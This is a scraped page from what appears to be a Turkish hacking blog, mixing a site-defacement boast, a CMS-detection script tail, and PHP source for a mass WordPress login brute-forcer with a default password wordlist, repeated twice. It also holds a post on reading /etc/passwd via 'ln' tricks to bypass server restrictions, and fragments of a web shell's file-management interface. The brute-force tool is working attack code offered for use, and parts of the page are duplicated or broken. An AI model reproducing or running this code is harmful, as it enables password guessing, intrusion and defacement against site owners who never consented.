     echo 'joomla bulundu : '.$trim.'';
     }

     elseif (eregi ($vbulletin,$hayde))
     {
     ob_flush();
     flush();
     usleep(100000);
     echo 'vbulletin bulundu : '.$trim.'';
     }
}
}
echo 'coded by burtay';
?>

Gradyteam.org KAPAK HACKED

eL-CeWaD — Sun, 15 Jan 2012 19:13:34 +0000

Site: Gradyteam.org

Zone Kaydı: http://golgeler.net/view-%3E6537

wordpress brute force php script | online bruter

eL-CeWaD — Sun, 15 Jan 2012 12:51:29 +0000

Ön izleme resmi ;

http://img339.imageshack.us/img339/284/37826253.gif

WordPress Brute Force Toplu deneyici.Script izleyicinin kodlamış olduğu wordpress brute forcenin değişik bir versiyonudur Turkblackhats.com üyeleri için paylaşılmıştır.Her hakkı Turkblackhats.com a aittir.Kalitenin adresi turkblackhats.com

"; error_reporting(0); set_time_limit(0); ignore_user_abort(true); ?> Turkblackhats.com | WordPress Admin Panel Penetration Testing

turkblackhats.com | WordPress Admin Panel Penetration Testing

Hosts:

Users:

Passwords:

<?php if($_POST){echo $_POST['hosts'];} ?> <?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?> <?php if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";} ?>

".$host." => Error In Login Page !
";ob_flush();flush();continue;} foreach($usernames_explode as $username) { foreach($passwords_explode as $password) { $ch = curl_init(); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php'); curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt"); curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt"); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_POST,TRUE); curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1"); $login = curl_exec($ch); if(eregi ("profile.php",$login) ) { $hacked = 1; echo "
".$host." => UserName : [".$username."] : Password : [".$password."]
"; ob_flush();flush();break; } } if($hacked == 1){break;} } if($hacked == 0) {echo "
".$host." => Failed !
";ob_flush();flush();} } } else {echo "
All fields are Required !
";} } ?>

powered by turkblackhats.com

"; ?>

Bütün Serverlarda geçerli priv9 Bypass

eL-CeWaD — Sat, 14 Jan 2012 20:33:39 +0000

Ln -s ile çekmeye çalıştığımız verileri özel htaccesslerle okuyordık eskiden
ama yinede forbidden denen illeti aşamıyorduk
şuan yeni bir sistem bulunddu btüm sürümlerde etkili bir açık.
ln–help diyeceksiniz
sonra ln -b /etc/passwd izo.txt yapın bakın bakim nasıl okuyor forbidden vermeden
ikinci bir teknikte ln -v /etc/passwd izo1

İzleyici

'.$formg.'Change Directory
Upload --->	'.$nowaddress.' '.$ifupload.'
'.$formp.'Chmod ----> File :	Permission :
'.$formp.'Create Dir ----> Dirctory Name	'.$nowaddress.'
'.$formp.'Create File ----> Name File	'.$nowaddress.'
'.$formp.'Copy ----> File :	To Directory

	turkblackhats.com \| WordPress Admin Panel Penetration Testing
	Hosts:	Users:	Passwords:
	<?php if($_POST){echo $_POST['hosts'];} ?>	<?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?>	<?php if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&(\n(&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";} ?>
".$host." => Error In Login Page ! ";ob_flush();flush();continue;} foreach($usernames_explode as $username) { foreach($passwords_explode as $password) { $ch = curl_init(); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php'); curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt"); curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt"); curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); curl_setopt($ch,CURLOPT_POST,TRUE); curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1"); $login = curl_exec($ch); if(eregi ("profile.php",$login) ) { $hacked = 1; echo " ".$host." => UserName : [".$username."] : Password : [".$password."] "; ob_flush();flush();break; } } if($hacked == 1){break;} } if($hacked == 0) {echo " ".$host." => Failed ! ";ob_flush();flush();} } } else {echo " All fields are Required ! ";} } ?>